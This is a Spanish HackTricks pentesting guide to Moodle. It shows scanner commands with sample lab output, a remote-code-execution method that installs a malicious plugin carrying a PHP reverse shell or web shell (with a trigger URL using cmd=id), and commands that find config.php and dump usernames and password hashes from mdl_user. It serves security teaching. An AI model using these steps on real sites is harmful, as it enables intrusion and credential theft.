hacktricks/network-services-pentesting/pentesting-web/moodle.md

176 lines
12 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Moodle
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2023-06-05 18:33:24 +00:00
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
2023-06-05 18:33:24 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
## Escaneos automáticos
2023-06-05 18:33:24 +00:00
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
2023-06-05 18:33:24 +00:00
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
2023-06-05 18:33:24 +00:00
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
2023-06-05 18:33:24 +00:00
[+] Scan finished (0:00:05.643539 elapsed)
```
El comando `moodlescan` es una herramienta de escaneo de seguridad diseñada específicamente para Moodle, una plataforma de aprendizaje en línea. Esta herramienta se utiliza para identificar posibles vulnerabilidades en una instalación de Moodle y proporciona información detallada sobre los riesgos de seguridad.
El comando `moodlescan` realiza una serie de pruebas automatizadas en la instancia de Moodle, incluyendo la verificación de la configuración del servidor, la detección de versiones vulnerables de Moodle y la búsqueda de posibles problemas de seguridad en los plugins instalados.
2023-06-05 18:33:24 +00:00
Para utilizar `moodlescan`, simplemente ejecuta el comando seguido de la URL de la instancia de Moodle que deseas escanear. Por ejemplo:
2023-06-05 18:33:24 +00:00
```
moodlescan https://example.com/moodle
```
2023-06-05 18:33:24 +00:00
El resultado del escaneo se mostrará en la terminal, proporcionando información detallada sobre las vulnerabilidades encontradas y recomendaciones para solucionar los problemas de seguridad.
2023-06-05 18:33:24 +00:00
Es importante tener en cuenta que `moodlescan` es una herramienta de escaneo automatizada y no reemplaza una evaluación de seguridad completa. Se recomienda realizar pruebas de penetración adicionales y una revisión manual de la configuración de seguridad de Moodle para garantizar una protección adecuada contra posibles ataques.
2023-06-05 18:33:24 +00:00
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
2023-06-05 18:33:24 +00:00
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
### CMSMap
CMSMap es una herramienta de código abierto que se utiliza para escanear y enumerar los sistemas de gestión de contenido (CMS) en un sitio web. Esta herramienta es útil durante las pruebas de penetración para identificar el CMS utilizado por un sitio web y obtener información sobre las vulnerabilidades conocidas asociadas con ese CMS en particular.
2023-06-05 18:33:24 +00:00
#### Características principales de CMSMap:
2023-06-05 18:33:24 +00:00
- Escaneo de CMS: CMSMap puede escanear un sitio web en busca de CMS populares como WordPress, Joomla, Drupal, etc. Esto ayuda a los pentesters a identificar rápidamente el CMS utilizado por el sitio web objetivo.
- Enumeración de usuarios: CMSMap puede enumerar los usuarios registrados en un sitio web basado en CMS. Esto puede ser útil para identificar posibles nombres de usuario válidos para ataques de fuerza bruta o intentos de inicio de sesión.
- Enumeración de plugins y temas: CMSMap puede enumerar los plugins y temas instalados en un sitio web basado en CMS. Esto proporciona información valiosa sobre las versiones de los plugins y temas, lo que puede ayudar a identificar vulnerabilidades conocidas.
- Enumeración de directorios: CMSMap puede enumerar los directorios y archivos presentes en un sitio web. Esto puede ayudar a los pentesters a identificar posibles puntos de entrada para ataques de inyección de código o acceso no autorizado.
- Escaneo de vulnerabilidades: CMSMap puede escanear un sitio web en busca de vulnerabilidades conocidas asociadas con el CMS utilizado. Esto ayuda a los pentesters a identificar posibles puntos débiles en el sitio web objetivo.
CMSMap es una herramienta poderosa que puede ahorrar tiempo y esfuerzo durante las pruebas de penetración de sitios web basados en CMS. Sin embargo, es importante utilizar esta herramienta de manera ética y obtener el permiso adecuado antes de realizar cualquier escaneo o prueba de penetración.
2023-06-05 18:33:24 +00:00
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
Encontré que las herramientas automáticas son bastante **inútiles para encontrar vulnerabilidades que afecten a la versión de Moodle**. Puedes **verificar** esto en [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
2023-06-05 18:33:24 +00:00
## **RCE**
Necesitas tener el rol de **gerente** y **puedes instalar complementos** dentro de la pestaña de **"Administración del sitio"**:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (447).png>)
Si eres gerente, es posible que aún necesites **activar esta opción**. Puedes ver cómo hacerlo en la prueba de concepto de escalada de privilegios de Moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
2023-06-05 18:33:24 +00:00
Luego, puedes **instalar el siguiente complemento** que contiene el clásico shell reverso en PHP de pentest-monkey (_antes de subirlo, debes descomprimirlo, cambiar la IP y el puerto del revshell y comprimirlo nuevamente_)
2023-06-05 18:33:24 +00:00
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
O puedes usar el complemento de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obtener un shell PHP regular con el parámetro "cmd".
2023-06-05 18:33:24 +00:00
Para acceder y lanzar el complemento malicioso, debes acceder a:
2023-06-05 18:33:24 +00:00
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST
### Encontrar credenciales de la base de datos
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Volcar credenciales de la base de datos
Para realizar una prueba de penetración en un sitio web Moodle, es posible que desees extraer las credenciales de la base de datos. Esto te permitirá obtener información de inicio de sesión de los usuarios y potencialmente acceder a sus cuentas.
Aquí hay algunos pasos que puedes seguir para volcar las credenciales de la base de datos:
1. Identifica el tipo de base de datos utilizada por Moodle. Puede ser MySQL, PostgreSQL u otro sistema de gestión de bases de datos.
2. Utiliza herramientas como `phpMyAdmin` o `pgAdmin` para acceder a la base de datos. Estas herramientas te permitirán ejecutar consultas SQL y extraer datos de la base de datos.
3. Ejecuta una consulta SQL para extraer las credenciales de la tabla de usuarios. Por ejemplo, en MySQL, puedes usar la siguiente consulta:
```sql
SELECT username, password FROM mdl_user;
```
Esta consulta seleccionará los nombres de usuario y las contraseñas de la tabla `mdl_user`. Asegúrate de ajustar el nombre de la tabla según la configuración de tu base de datos.
4. Guarda los resultados de la consulta en un archivo seguro. Puedes utilizar comandos como `SELECT ... INTO OUTFILE` en MySQL para guardar los resultados en un archivo CSV o TXT.
Recuerda que realizar pruebas de penetración en un sitio web sin permiso explícito es ilegal y puede tener consecuencias legales graves. Siempre asegúrate de obtener el consentimiento del propietario del sitio web antes de realizar cualquier prueba de penetración.
2023-06-05 18:33:24 +00:00
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2023-06-05 18:33:24 +00:00
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
2023-06-05 18:33:24 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>